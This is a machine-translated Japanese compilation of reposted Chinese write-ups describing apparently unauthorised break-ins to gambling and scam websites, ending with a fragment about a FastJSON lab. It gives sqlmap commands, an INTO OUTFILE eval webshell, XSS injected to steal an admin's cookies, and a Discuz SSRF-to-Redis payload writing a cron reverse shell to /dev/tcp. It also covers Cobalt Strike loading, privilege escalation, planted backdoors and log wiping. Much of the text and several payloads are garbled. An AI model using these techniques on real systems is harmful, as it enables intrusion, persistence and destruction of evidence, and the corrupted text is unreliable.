案の定、それは再び私たちの大雲母にあります。

証拠の完全性を確保するために、私たちはまだ背景に写真を撮る方法を見つけなければなりません。私は今カレーにいるので、ブラインドヒットXSが成功しない場所を強制することができ、XSの支払い負荷を強制してから、カスタマーサービスを引き起こすように誘導できます。

Image

Image

Image

それから私は入りました。バックグラウンドアップロードポイントは3番目のバージョンで削除されました。データベースのシェルアクセス許可は十分ではなく、必要なサービスを有効にできなかったため、最終的にシェルを取得できませんでした。

元のリンクで転載: https://mp.weixin.qqc.com/s?__biz=mzg4mjcxmtawmq==mid=2247486198Idx=1Sn=e41bc5d7e4aee7314beaab7f5830435dchksm=CF53Ca4 0F8244356493DFF79A82E26A8C3EF89C50C4508DE61CACF523527534D383E6D6B24445SCENE=178CUR_ALBUM_ID=28315116888864565656580#RD

私は多くのQP(チェスとカード)を作り、BCは浸透しました。私は一晩中2泊し、いくつかの皿を飲みました。私はこのプロセスについて簡単に話し、それを要約しました。

最初にQPについて話させてください。私の侵入の成功ケースを例にとると、まず第一に、情報収集が不可欠です。 QPの特徴は何ですか?

彼の背景は、図に示すように、サーバードメイン名の背後にあるさまざまなポートにセットアップされます。

图片

ポートに関する基本を見つけることができます。

エントリポイント:

アプリでSQLインジェクションまたはフィードバックの場所を見つけるXSS

パケットキャプチャが127.0.0.1を示し、パケットをキャッチできない状況があります。この状況は大きなプレートの状況を超えており、必ずしもTCP UDPプロトコルに従うとは限りません。 T-ICEで言及されているプロキシフィアグローバルプロキシを参照できます

背景があったら、それを曖昧にすることができます。一部の管理者はバックアップの習慣を持ち、新しい発見をする可能性があります。

比較的言えば、QPは非常に簡単です。

BCについて話して、昨夜の浸透の事例を見てみましょう。

图片

基本的に、大きなBCプレートにはさまざまな保護+ CDN標準が装備されています。結局のところ、他の人は、それほど多くのお金を稼いだ後、この小さなデバイスのお金を気にしません。

图片

图片

アカウントを登録し、XSSに電話する場所がないことがわかりました。停止

この種の大規模なサービスは一般的に非常に優れているため、ナビゲーションやポイントモールなど、あらゆる面でカードは非常に寛大です。

乱雑なものがあるはずです。メインサイトのVIPクエリページでは、SQLインジェクションであり、ThinkPHPフレームワークです。

图片

图片

图片

Thinkphp3.2.3、実際のIPを知らないCDNがあるため、背景は非常に面倒なものです。私はもともと、データベースのログに発見があるかどうかを確認したかったのです。

图片

图片

鳥に使用するために何もありません。ログファイルを読んでみてください。

图片

最後に、構成ファイルを読むと、非常に愚かなものが確認されました。

たぶん一晩後、人々の心は少し硬いです。

この種のBC背景を分離する必要があることを忘れていました。こんにちは。遅くまで起きてください。

それから。以前のエクスペリエンスに基づいて、いくつかの可能なパラメーターをメインドメイン名に手動で追加しました。 admin.xxxx.com AGDW。

i。序文

最近、特定のQipai製品で構築されたWebサイトにはSQLインジェクションがあり、誰かがそれを送ったばかりだと聞きました。xctxkrcxje42283.png

慣習的なルーチンの侵入、シャトル情報収集- 脆弱性の検出/利用- 特権の引き上げ/承認のメンテナンス - クリーントレース

2。情報収集

kszgqsfuj5j2284.pngブラウザはホームページの予備的な発見システムにアクセスします:Windows Middleware IIS7.5言語:ASPX

ポートスキャンNMAP -SV -T4 -P- 11x.xx.xx.xx.xx 5zy4ekewruu2285.pngには多くのオープンポートがあります。その中には、いくつかのWebサービスがあります:80(現在のホームページ)、81、82、88、4700181:これはこのQipaiサイトのバックエンドです。 82:バックエンドでもあります。どんなシステムなのかわかりません。確認コード88/47001があります:アクセスに失敗しました

1433:データベースMSSQL

また、139と445を開きましたが、フィルタリングされました。ファイアウォールがあるかどうかはわかりませんので、後で見ます。

dirsearchを使用して、敏感なディレクトリを最初にスキャンします。以前に収集されたウェブサイト言語はASPX、プラス-E指定言語です

python dirsearch.py -u http://11x.xx.xxx.xx-e aspx cccws02apbk2287.png再び7kbscanを使用します。結局のところ、ここで収集された辞書は中国人によって一般的に使用されています

5enudtjvnlv2289.png/m/はユーザー登録ページです。

amnkabgudz42290.png/test.htmlは、WeChatを調整するための入り口です。役に立たない。被害者が携帯電話でチャットするように導くかもしれません。

efkkbz110d12292.png北京の特定のオペレーターのIPサーバーを確認します。国内のサーバーにWebサイトを構築することは非常に大胆です。

jtva1t55e0d2293.png情報並べ替えymptqk21pcz2295.png

おそらく自分で構築された小さなサイトです。時間を無駄にしないように、新しいものを拡張して収集することはありません。

iii。脆弱性検出

以前に見つかった81ポートに焦点を当て、ウェブサイトのバックエンド管理ページです

shbv1f0njqr2296.png検証コードなし、ユーザー名/パスワード用に管理者/管理者を書くだけで、パッケージをつかみます

5rhocro4vhn2297.pngユーザー名には見積もりがあり、エラーを返すように直接リクエストを送信しました。予期しないことが起こっていない場合は、エラーインジェクションまたはブラインドノートが必要です。

vk51u41gbap2298.pngこのデータパケットをローカルQipai.txtに保存するための2つのグループを分離し、SQLMAPを使用してスキャンします。MSSQLデータベースであり、-DBMSパラメーターがデータベースタイプを指定して時間を節約することはすでに知られています。

python sqlmap.py -r qipai.txt - dbms 'microsoft sql server' - dbs別の方法で、パッケージを侵入者モジュールに送信してパスワードを爆発させます。ブラウザにユーザー名を何気なく入力しようとしましたが、プロンプト「ユーザー名は存在しません」。管理者を入力すると、「ユーザー名またはパスワードが間違っている」というプロンプトが存在することを示し、パスワードを破裂させただけです。

xwwhislhjjo2299.pngパスワードは888999、弱いパスワード、永遠の神です!

バックグラウンドに正常にログインgayxm4aahp02300.png

登録ユーザーは69人しかなく、残りはすべてロボットです。これらの69人のユーザーは143万人に急行しましたか? Qipaiを演奏するすべての人はとても金持ちですか?私は最初の充電のために6元を請求することに耐えられないことをとてもうれしく思います

ykvftk1nhiq2301.pngギャンブルに参加できない、この男は1日で2800を失いました

o0prruwsosb2302.png長い間バックグラウンドで検索した後、アップロードポイントが見つからなかったので、最初に置きました

他のsqlmapに戻ってチェックアウトし、注入があることを確認してください。

j0h5kkc0l2o2303.pngは16のライブラリを使い果たしました。名前によれば、ryplatformmanagerdbライブラリには、管理者関連の情報が含まれている場合があります。

oi2e0ji5wjg2304.png実行時計名

python sqlmap.py -r qipai.txt - tables -d ryplatformmanagerdb 1s4w5nlu4ak2305.png長い間検索した後、私は管理者のアカウントとパスワードを見つけました。

python sqlmap.py -r qipai.txt -is-dba xbmlrzfckvl2306.pngはDBA許可です。シェルを取得してみてください。SQLMAPを使用してMSSQLデータベースのパスを直接爆破するだけです

python sqlmap.py -r qipai.txt- OS -shellが使用する死角は遅く、長い間待った後、最終的にシェルを手に入れました。それは表面上の技術的な仕事ですが、実際には物理的な仕事です

現在のユーザー許可は非常に小さく、MSSQLデータベースの許可だけです

hhjun2lg1xz2307.png

SystemInfoシステム情報を確認すると、システムが64ビットWindows Server 2008であることがわかります

Cobaltstrikeは攻撃ペイロードを生成し、ターゲットマシンにPowerShellでロードします。ターゲットマシンが正常に起動されます

bycpu3ksouw2308.png

ネットユーザービューユーザー

3yin4kn2i2c2309.pngTASKLIST表示プロセス、ソフトを殺すふりをするべきではありません

dmac4a3yutv2310.png

ネットスタートの有効なサービスを表示すると、ファイアウォールが有効になっていることがわかります。したがって、以前のNMAPスキャン445およびその他のポートがフィルタリングされています

xzka2n1f3d52311.pngファイアウォールを閉じて、右はまだ上がっていません

ej3tjqdj4dv2312.png

iv。権利を引き上げる/weiの権利

このマシンはWindows Server 2008であることを以前に学んだので、ジャガイモを使用して権利を増やそうとしました(MS16-075)

xou4kdhiu5l2313.png実行後、しばらく待ちました。私は幸運でした。マシンはパッチを適用されず、当局は一度に成功裏に提起されました。私はシステムの権限を取得し、自分が望むことを何でも始めました。

klqjr4dli452314.pngファイル管理を入力すると、以前の情報が収集されたときにtest.htmlファイルを見ることができます。

zsmpakxivv12315.pngNETSTAT -ANOポートオープニングの状況をチェックしてください、3389が開かれていません

a0kwytr32mr2316.png

手動でオンにします

tiaytfonaad2317.pngリモートデスクトップにアクセスできます

twgenv2r21i2318.pngCOBALTSTRIKE私はそれを操作するのにあまり熟練していないので、MetaSploiteを使用してCSを介してMSFによって生成された馬をアップロードする必要があり、MSFは監視を可能にします

注:CSはシェルをMSFに直接導き出すことができますが、長い間試してみてセッションを返さないので、MSFの馬曲線をアップロードして国を救う以外に選択肢がありませんでした。

lzkxzk4kmx22319.pngMSF監視を有効にします

1dy203ssbjl2320.png CSでアップロードされた馬を実行します

itr45e0lxd12321.pngMSFシェルが正常に取得されました。

c5m5r2msdsm2322.pngパスワードハッシュを見る、MSFの馬は32ビットで、システムは64ビットであるため、取得できません

vjojv33nrkt2323.pngPSプロセスを表示し、プロセスでシステムの許可を得て実行されている64ビットプログラムを見つけてから、プロセスを移行した後にハッシュを取得します15oj4hcf1nf2324.png

オンラインでハッシュをクラックするWebサイトに移動して、管理者のパスワードを確認します。パスワードは複雑ではなく、数秒で見つけることができます。

4azfylwyykg2325.pngSUCCESSISSEESTISSESSEESTISE SUCTESSISTESTESTERTERIME LOGNETERITE DESKTOP

hlzj2ku2tvz2326.pngリバウンドシェル用の2つのバックドア、1つのウェブシェル、1つのセルフスタートNCを残してください

l4hemd3jdao2327.png

5。トレースをクリーンアップしてリトリート

MeterPreterのClearVコマンドは、ワンクリックでクリアされています

cquedrsv3zp2328.png

または、Windowsログを手動で削除します

1n2s45jksq02329.png

six.summary

cboqdascfry2330.png

7。実験的推奨

SQLMAPを使用した手動注射

https://www.hetianlab.com/expc.do?ec=ecid172.19.104.182015011915533100001pk_campaign=freebuf-wemedia

この実験の研究を通じて、SQLMAPを理解し、一般的に使用されるSQLMAPのコマンドをマスターし、SQLMAPを使用して注射を手動で支援することを学ぶことができます。

元のリンクから転載:

https://www.freebuf.com/articles/network/250744.html

0x00問題の原点

图片

图片

图片

物語を理解した後、私の経験の後、これは豚の殺害事件であるべきです

詐欺師は、何らかの手段を使用して、犠牲者にお金を稼ぎ、充電を誘発し、豚をギャンブルに殺すことができることを納得させる

0x01ペノシスプロセス - 約20分で削除されました

浸透プロセスはシンプルで退屈です:

IPとポートを見た後、私はクラウドWAFがないはずだと判断したので、ディレクトリを直接スキャンし始めました

数分後、http://xxxx.com.cn/u.phpをスキャンしました。下の図に示すように、それはupupwの統合環境であることが判明しました

图片

图片

アイデア、PHPMYADMINを爆発させる、またはupUPWのデフォルトのデータベースパスワードを見つけるには、最初に試してみてください

图片

システムによって提供されたパスワードで正常にログインしましたが、デフォルトは次のとおりです。DRSXT5ZJ6OI55LPQはPHPMYADMINで正常にログインしました

图片

次に、GetShellを試してみてください。 upupwプローブがあるので、phpinfoとウェブサイトへの絶対的なパスを直接表示しました。 UpupWプローブのため、私は定期的にシェルを直接書き込もうとしました。

絶対パス、データベースルートアクセス許可、およびデータベースの書き込みアクセス許可を知る必要があります。具体的なステートメント: '?php eval(@$ _ post [' xx ']);'を選択しますOutfile 'd: \\ wap \\ member_bak.php'注:windowsの下では、二重のバックスラッシュが必要です。そうしないと、逃げて、キッチンナイフ/アリの剣やその他のリンクを使用します。当時スクリーンショットがなかったため、ウェブサイトを開くことができないようになるため、シェルを取得した後、以下は直接ステータスをリリースします。

图片

侵入は終了しました。私は権限を見ました。それはシステムの権限でした。しかし、私たちの目標は、詐欺師のIP情報と位置情報を見つけることでした。そして、次のステップは

0x02詐欺師のポジショニングポート

シェルを取得する方がはるかに簡単です。背景にログインされているPHPファイルを見つけて、XSSコードを挿入してください。

图片

しばらく検索した後、バックグラウンドログインが別のWebサイトディレクトリにあることがわかりました。

echo'scriptsrc=https://xx.xx/xfxx/script ';詐欺師がログインするのを待っています

图片

私は実際に携帯電話、666でログインしています

クッキーをバックグラウンドにログインするために交換しますが、役に立たないことがわかりましたが、ほんの数字でした。

图片

IPIP.NETに移動して、IPアドレス情報を確認します。偶然ではありません、私は確かに再び海外にいました。悲しいかな.

图片

0x03ファンに結果を知らせます

プロセス中に、私は被害者とWeChatチャットの記録を直接投稿しました。

图片

图片

图片

图片

图片

图片 图片

图片

0x04そのような詐欺を防ぐ方法

1.オンラインで友人を作るときは、詐欺防止の認識を改善し、良好な社会的メンタリティを維持し、特に金融取引に関しては個人のプライバシー情報の保護に注意を払う必要があります。複数のチャネルを使用して、相手の真のアイデンティティを必ず確認してください。

2.インターネットでの財務を投資して管理することを伴い、高いリターンを持っている人は誰でも詐欺と見なされます。

3.詐欺師は、友人のサークルの投資収益性に関する情報を常に共有して、被害者を引き付けて相談するイニシアチブを取得します。

4.被害者にプラットフォームの登録を誘導し、資金を投資します。被害者が利益を見て現金を引き出すことを望んだとき、プラットフォームは預金の要求、必要に応じて通知の失敗、アカウントの凍結、税金など、被害者の銀行カード番号の理由でお金を誘い、詐欺を犯し続けました。

5.投資と財務管理の正しい見解を維持し、リスクのないがリターンの投資方法を盲目的に信じていないので、空から落ちるパイはありません。

元のリンクから転載:https://mp.weixin.qq.com/s/7o4xv8mkbx3wct3zxbcmng

メインサイトを登録するときに、JSPとPHPの接尾辞が共存することがわかります。異なるルートが異なるミドルウェアを逆転させたため、脆弱性は見つかりません。

Image

フォーラムはディスクです! x3.2

Image

Discuz緊急治療室が見つかりました。

Image

admin.php 403、uc_server、および緊急治療室には、パスワードが弱い。

《渗透某盗版游戏网站》で、ディスクスのバックグラウンドにある脆弱性を紹介しましたが、フロントデスクの脆弱性についてはどうでしょうか。主に、任意のファイル削除、SSRF、およびUC_Serverブラストがあります。

まず、ファイルを削除します。

post /home.php?mod=spacecpac=profileop=base

birthprovince=./././info.php

Image

次に、ファイルを投稿してinfo.phpを削除します

format='https://x.com/home.php?mod=spacecpac=profileop=base'method=' post 'enctype=' multipart/form-data '入力タイプ=' name='birthprovince' id='file'/inputタイプ='text'name=' text=''/input '/inputip'/input 'prept' prept 'preper value='1'/input type='submit' value='submit' //Discuzがファイルを削除してインストールすることは困難です。

もう一度SSRFを見てみましょう。

/forum.php?mod=ajaxaction=downRemoteimgmessage=

これは、反響せず、時間遅延によってのみ判断することができるSSRFです。

1. HTTPを介してイントラネットを直接検出できます。 IPが生き残ると、短い遅延があり(ポートが開いているかどうかに関係なく)、IPが存在しない場合、長い遅延があります。

2。プロトコルは302ジャンプで変更でき、FTP、DICT、およびGOPHERをサポートできます。

第三に、ポートはFTPプロトコルを介して検出できます。ポートが開いている場合、長い遅延があり、ポートが閉じていると短い遅延があります。

最初に、HTTPプロトコルを介してVPSにアクセスして、フォーラムの実際のIPを取得します。

163.*。 *.35.bc.googleusercontent.com(35。*。*。163)

その後、ローカルレディスを盲目的に呼び出すようにしてください(ここではローカルポートを検出するために、それは不合理なので、私はそれを直接盲目的に呼びます)

GopherプロトコルがRedisをローカルで攻撃する場合、コマンド文字列の各行の長さを$で宣言する必要がないことがわかります。

最初に、クリアSSRF攻撃ペイロードを参照してください

/forum.php?mod=ajaxaction=downRemoteimgmessage=dbfileName root%0d%0aset 0 '\ n \ n */1 * * * * * * bash -i /dev/tcp/62.1.1.1/566701/n\n'%0d%0Asave%0D%0Aquit%0D%0Axx=1.png

次に、302.phpの間?データ=、URLをエンコードする必要があり、データ=xx=1.からすべての文字列が2回エンコードされ、BPでパッケージ化されます。

/forum.php?mod=ajaxaction=downremoteimgmessage=%36%36%63%25%37%35%25%37%33%25%36%38%25%36%31%25%36%63%25%36%63%25%32%35%25%33%33%25%36%33%25%36%33%25%36%336 30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%25%36%39%25%36%37 %25%32%30%25%36%25%36%31%25%37%32%30%30%36%32%25%32%30%25%36%32%66%25%37%36%31%25%37%32%25%32%32%66 %25%37%33%25%37%30%25%36%66%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%36%33%25%36%65%32%66%25%36%65%36% 25%32%35%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%25%36%25%36%25%36%39%25%36%37%25%32%30%2 5%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25 %36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25% 36%31%25%37%33%25%36%35%25%37%34%25%32%30%25%33%30%25%32%30%25%32%32%25%35 %63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%61%25%32%30%25%32%61%25%32%30 %25%32%61%25%32%61%25%32%30%25%32%61%25%32%61%25%30%30%25%32%61%25%32%30%25 %32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%332%30%25%32%30%25%32%30%25%36 %32%25%36%31%31%25%37%33%25%36%38%25%32%30%25%32%66%36%25%32%66%25%34%25%36%36%34% 25%36%35%25%36%32%66%25%33%31%25%32%66%25%33%31%25%32%66%25%32%65%31%32%65%31%32%6 5%25%33%31%25%32%65%25%33%31%25%32%66%25%33%35%25%33%36%25%33%36%25%33%37%25%32%30%33%33%30%25%33%65%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25% 32%36%25%33%30%25%33%65%25%36%36%25%33%30%25%33%30%25%36%34%32%35%25%33%30%25%33%30%33%33%30%25%36%31%31%31%31% 25%37%33%25%36%31%25%37%36%25%36%35%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%31%25%37%37% 31%25%37%35%25%36%39%25%37%34%25%32%35%25%33%30%25%36%31%25%32%36xx=1.png [/img] formhash=017b5107

しかし、ペイロードは、Discuzが提供するXSSおよびSQLインジェクション保護によって傍受されたことがわかりました。

Image

したがって、ペイロードはVPSでのみ記述できます。

?php

$ ip=$ _ get ['ip'];

$ port=$ _ get ['port'];

$ scheme=$ _ get ['s'];

$ data='_ flushall%0d%0aconfigset dir/var/spool/cron/%0d%0aconfig set dbfilename root% /566701 \ n \ n '%0d%0asave%0d%0aquit%0d%0aquit%0d%0a';

Header( 'Location: $ scheme: //$ ip: $ port/$ data');

VPSのRedisを成功させることができる/forum.php?mod=ajaxaction=downremoteimgmessage=[img=1,1] http://62.1.1.1/302.php?s=gopher%26IP=62.1.1.1.1.1.1 %26ポート=637999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999」

Image

問題ない。ただし、実際の環境では使用率が失敗しました。その理由は不確実であり、Redisがない、Redis許可の不足、またはパスワードがあることが可能です。

イントラネットを検出するためにスクリプトを書き始めましたが、あまり希望がありませんでした。 Google Cloudであり、必ずしもイントラネットを持っているわけではありません。

すべてのイントラネットIPSのIP辞書が作成されています

f=open( 'ip.txt'、 'w')

f.write( '127.0.0.1')

f.write( 'localhost')

範囲のI(1,256):

ip='192.168。'+str(i)+'。1'

F.Write(IP)

範囲(16,32):のIの場合

IIインロン(1,256):の場合

ip='172。'+str(i)+'。'+str(ii)+'。1'

F.Write(IP)

範囲のI(1,256):

IIインロン(1,256):の場合

ip='10。 '+str(i)+'。 '+str(ii)+'。1 '

F.Write(IP)

f.close()

次に、時間遅延を使用してイントラネットIPセグメントを見つけます。ここでは、IPブロッキングの遅延は7秒以上であるため、複数のスレッドを使用して完了する必要があります。 IPのプロトコルがあるかどうかを検出しても問題ないため、Gopherを使用してRedisのペイロードを直接攻撃するだけです。

リクエストシムポートスレッディングDEF SSRF(i): url=をインポートします'https://x.com/forum.php?mod=ajaxaction=downRemoteimgmessage={'user-agent':'mozilla/5.0(Windows nt 6.1; win64; x64; rv336079.0)gecko/20100101 firefox/79.0'、 'Accept':itext/html、application/xhtml+xml 'Accept-Language':' zh-cn、zh; q=0.8、zh-tw; q=0.7、zh-hk; q=0.5、en-us; q=0.3、en; q=0.2 '、' accept-encoding': 'gzip、deflate'、 'connection'、 'cookie={'PNUE_2132_SALTKEY':'VX3WOD3T'、 'PNUE_2132_AUTH':'8B46%2F9AD2X2XYFYESVQ aytdhs%2fvwrzigqlwce3iar6aiwux8ragrp%2bgrkmv39ylno2gaifhep01aghxapi0ocyxirnkx '} r=requests.get(url、cookie=cookie、headers=header、aople_redirects=false)r.elapsed.total_seconds()6: timeout=str(i)+'port3360'+str(r.elapsed.total_seconds())他の:タイムアウト=印刷str(i)+'port3360'+str(r.elapsed.total_seconds())fo=open( 'openip.txt'、 'a') threading.thread(target=ssrf、args=(i、)))name.append(th)th.start()for th inaname: th.join()folist=open( 'ip.txt'、 'r')list=[] flag=0 for i infolist.readlines(): i=i.Replace( '' ') list.append(i)flag=flag+1 else:スレッド(リスト)フラグ=0 list=[]オープンゲートウェイのみが見つかります172.30.2.1は、このゲートウェイでイントラネットIPを実行し、IP.TXTを置き換えます。

Image

その結果、1日走った後、私は2つのイントラネットIPS、172.30.2.1と172.30.2.2のみを使い果たしました。確率は、172.30.2.2それ自体が、172.30.2.1がクラウドサーバーの仮想ゲートウェイであることです。

最後に、FTPプロトコルを使用してポートを実行し、スクリプトを自分で変更するだけです。

Image

それらのほとんどは誤ったアラームであり、実際には2つのポート80と443のみを開くため、他のイントラネットIPが後で見つからない限り、SSRFは予想されません。

最後のUC_Serverブラストは、XFFヘッダーを変更してグラフィック検証コードを修正することであり、使用が失敗します。詳細については、https://www.freebuf.com/articles/web/197546.htmlを参照してください

フォーラムは終わりました。カスタマーサービスシステムの何が問題なのか見てみましょう。

Image

/res/image.html?id=upload/6c825ed7ea4cd25657288888884f7d0227f

IDパラメーターが渡され、ディレクトリを交差できません。ファイルのアップロードを使用できないため、ディレクトリスキャンを開始します。

Image

管理者ログインインターフェイスにはスライダーの検証がありますが、フロントエンドからの詐欺であり、バックエンドでは役に立たないため、爆発しようとすることは実りがありません。

表示/アクチュエータを表示すると、Spring Bootであり、ターゲット辞書を使用して爆破します。

/swagger-ui.htmlはempty、 /envジャンプadmin、 /heapdump 403です。

しかし、私は/heapdump.jsonからそれを試してみました

Image

1Gメモリファイルを解凍し、メモリアランライザーを使用して開き、OQLをクエリします。

/envとの協力はないため、構成情報を盲目的に確認することができます。ここに私が理解したいくつかのヒントがあります。

select* from org.springframework.web.context.support.standardservletenvironment Check構成から、保持されたヒープ(サイズ)のソートに注意してください。

Image

[Java.lang.Stringから*から*を選択します。この検索方法は、関連するクラスを簡単に見つけることができませんが、ログインレコードなどをすばやく見つけることができます。パスワードをhttp://に置き換えると、いくつかのURLを見つけることができます。

Image

java.util.hashtable $ entry x from java.util.hashtable $ entry x Where(toString(x.key).contains( 'username'))select* from java.util.hashtable $ entry x where(toString(x.key).contains( 'password'))select* from java.util.hashtable $ x (toString(x.key).contains( 'url'))select* from java.util.hashtable $ entry x where(toString(x.key).contains( 'url'))データベース関連情報をすばやく確認し、MySQLアドレスアドレスアカウントパスワードを見つけました。ただし、残念ながら、AmazonのデータベースにはデフォルトでIPホワイトリストがあり、リモートでログインできません。

Image

select*from java.lang.string sは、 '。*session。*'のようなtoString(s)がログインしていることを発見し、交換後に背景にログインします。

Image

背景は、リアルタイムの会話にWSSSプロトコルを使用しており、アバターとカスタマーサービスの返信に使用率はありません。有毒な犬のいくつかの嘆きだけが見つかりました。

Image

ブラックボックステストは実りがありませんでした。 Heapdumpで注目のクラス名を検索してから、Githubで検索しました。ソースコードのコピーを初期バージョンである可能性があり、ターゲットは改訂版でしたが、ソースコードはそれほど完全ではありませんでした。

Image

不完全なコードを監査し、任意のファイルの読み取りとSSRFを見つけます。

Image

Image

Image

いくつかのソースコードを使用すると、構成ファイルの場所を知っていて、構成ファイルを読み取ります

Image

もちろん、以前にデータベース構成を取得します

0x00情報収集

友人が私にウェブサイトをくれました。これは比較的大きな紀元前と見なされます。私はメインのウェブサイトを見て、入り口がなかったので、彼のプロモーションプラットフォームの1つに変更しました。

图片

次に、最初にディレクトリを大まかにスキャンして、いくつかの便利なものを見ることを望んでいます。現時点では、たとえば、Webサイトのソースコードがパッケージ化されているかどうかなど、重要なファイルhttps://scan.top15.cn/web/infoleakをすばやく表示するためのインターフェイスをお勧めします。スキャンしてからスキャン結果を表示しなかったことは明らかです。

图片

config.inc.phpは、経験によれば、データベースの構成ファイルである必要がありますが、サイズは0bです。暫定的にアクセスします。予想どおり、アップロードアクセスはありません。これは403です。ただし、経験に基づいて、再びスキャンします。たぶんそれはFCKエディターです。残念ながら、私は何もスキャンしませんでした。 /index.php/login/、サイズはわずか2kbで、背景ではなく、少し残念です。ポートには1つのWebアセットのみがあるため、Webサイト機能を確認することしかできません。それから私はクエリをクリックして、ここで注入を見つけたいと思った。

0x01バックエンドインジェクション

图片

案の定、注入があり、残りはバックエンドを探すことです。

图片

現在のデータベースを表示します(extractValue(1、concat(0x7e、(select database())、0x7e)) - ) -

图片

ここでは、ピット、アカウント=1 ')と(抽出バリュー(1、concat(0x7e、(select database())、0x7e)))))をステップすることを忘れないでください。

TMはデータを生成することはありません。クソフィルターがあると思いました。

そして、一つずつファジングします。

コメントが閉じられるかどうかを考えた後、コメントが追加されます ')。案の定、データは閉じた後にリリースされます。

その後、SQLMapを使用してデータを実行しましたが、TMが使い果たされないとは思っていませんでした。

自分でSQLMAPステートメントを再構築することによってのみ、python2 sqlmap.py -r 1.txt ---prefix '') ') - suffix' - ( '' - level 3 - tamper=space2plus - skip-urlencodeが最終的に使い果たされました。

後でペイロードを見ました。私が走るたびに、スペースは20%にコンパイルされます。 URLがエンコードされた後、ペイロードが有効になりないため、Skip-Urlencodeパラメーターを使用しました。

0x02注入点

驚きが再び来ました。私はPRIVを見ましたが、非常に多くのMySQL注射がついに比較的高い許可を得たことは事実でした。

图片

アカウントとパスワードを直接読んでいませんでした。絶対パスを除いてエラーを報告したばかりです。これではありませんか?ペイロードをチェックしたとき、HWSを見つけましたが、兄弟たちは簡単ではないと感じました。

图片

案の定、あなたがそれを書くことができないならば、あなたがそれを追加するならば、あなたは最終的にそれを書くことができません-hex。

それは大丈夫です、そして-sql-shell。

積み重ねて書いてください、私はそれを書くことができない可能性が高いことを知っていますが、私はまだそれを試してみる必要があります。

TMの浸透は形而上学です。

图片

私はprivをチェックしました、それはnullではありませんでした、そして私に少し希望を与えました。それを書いて、最初にTXTを書いて見ることができます。

Outfileに1を選択'd:/wwwroot/wnshd.com_22fqiz/web/1.txt'

图片

それから私はそれを読むためにウェブサイトに行きました、そしてそれを書くことはありませんでした、それは本当に困難でした。

すべてが残っています - ファイルワイト、これはマップに固執しておらず、まだ削除されていません。

無力で、バックエンドアカウントのパスワードのみを確認できます。

图片

アカウントとパスワードを収集した後、私はバックエンドに行きましたが、残念ながら私はまだそれを見つけることができず、それはほとんど絶望でした。

このTMはあなたに届けられましたが、なぜ私はまだそれを手に入れることができないのですか? SQLMapの問題だと思います。私はもう一度上記の手順を実行しました。 SQLMapはあなたに嘘をつくかもしれませんが、HWSはそうしません。書くことができない場合は、できません。

それを忘れて、アイデアを変えましょう。ディレクトリが爆発したのではありませんか?

wolsoowpppps、私は戻ってそれをチェックします、予期しないことは何もありません403、wolsoowpppps/admin、wolsowpppps/login。

何もありません、dirsearchはスキャンされ、TMにはまだ何もありません。

0x03馬の執筆に失敗する

それはWeb/wolsoowppppsのパスではありませんか?パスに絶対に問題があるのでしょうか?私は訪問します

图片

また、これは403であり、これはスキャンされていないディレクトリであることを意味します。くそー、ここに何かがあるように感じます。

その結果、写真をスキャンして投稿を停止しましたが、まだ何もありませんでした。

ハハハハ。

それは喜びの無駄です。

しかし、私は常にこのwolsoowpppsディレクトリに何か問題があると感じています。私はそれを曖昧にし、それをウェブからファズにしてから、ウェブをスキャンしました。ああ、私の良さ、私は一時的です。

PHP訪問、マレーシア人。

これを手に入れるのは良いことではありませんか?

图片

その後、爆発し、最後に、アリのキーをアップロードして、それを取り下げます。

このマレーシアはとても馴染みがあります。

图片

しかし、HWSはまだ本当に強力です。

コマンドを実行することはできず、プラグインと.SOメソッドは見つかりませんでした。

图片

ここで兄弟ファンに感謝します。彼が言及した警備員の神は、主にaspで、氷のサソリ馬を送るだけです。

图片

それから私は多くの解決策を考えましたが、この許可を下すことはできません。 XZのボスは知っておくべきだと思います。状況を教えてください。

現在、ディスクDには表示および変更許可のみがあり、EXEは実行できません。つまり、MSシリーズは使用できません。

ポテト一族はそれを渡すことができません。

IISは数秒で落とすことはできません。

ルアンを殺すことは、ターコイズ、保護者、安全な犬です。

上向きのCSですが、DLLとMSHTAの実行は立ち往生しています。当面の間、パワーを増やす方法がわかりません。拡大し続けたいのですが、プロモーションのために力にほとんど接触していません。預言者が私のいとこにアイデアを与えることを願っています。

0x04バックエンドを取得

最後に、マレーシア人がどのようにアップロードされたかについて考えました。

他の当事者は注射から始めることもできます - XSSを1か所で見つけました(私も見つけましたが、10月にカスタマーサービスがオフラインであったため、サイトを変更したため、XSSは戦うことができませんでした) - バックエンドRCE(TP3.2.3 CACHE GETSHELL)がMalaysiaに行きました。

これはXSSの場所です

图片

これはバックエンドです

图片

このサイトには大まかな価格の比較がありますが、そのアイデアは非常にシンプルなので、もっと学ぶべきです。

元のリンクから転載:https://mp.weixin.qq.com/s/qndlnapnk_485uapilqxrq3https://xz.aliyun.com/t/8491

FastJSONフルバージョンDockerの脆弱性環境(バージョン1.2.47/1.2.68/1.2.80などをカバー)、主にJNDIインジェクション、WAFバイパス、ファイルの読み取りと書き込み、脱3、チェーン検出バイパス、およびネットワーク外の利用を含みます。シナリオをブラックボックステストに設定し、Black Boxの観点からFastJsonの深い利用のプロセス全体をカバーします。一部の環境は、JARパッケージで逆コンパイルおよび分析する必要があります。

Docker環境

Dockerは-Dを構成します

Docker Pull環境が遅い場合は、国内のミラーリングを使用してみてください

https://www.runoob.com/docker/docker-mirror-acceleration.html

環境が開始されたら、対応するIPポート80にアクセスします。

1049983-20240102232717449-1783234989.jpg

Fastjsonのいくつかの一般的な脆弱性エクスプロイトの概要。これは食品で使用できます:FastJSONフルバージョンの検出と利用-POC

使用後に環境を破壊してください。そうしないと、競合する可能性があります:Dockerが落ち着く

撮影範囲の順序を整理する:(使用率の特性に応じて3つのカテゴリに分割)

FASTJSON 1.2.47

1247-jndi

1247-jndi-waf

1247-WAF-C3P0

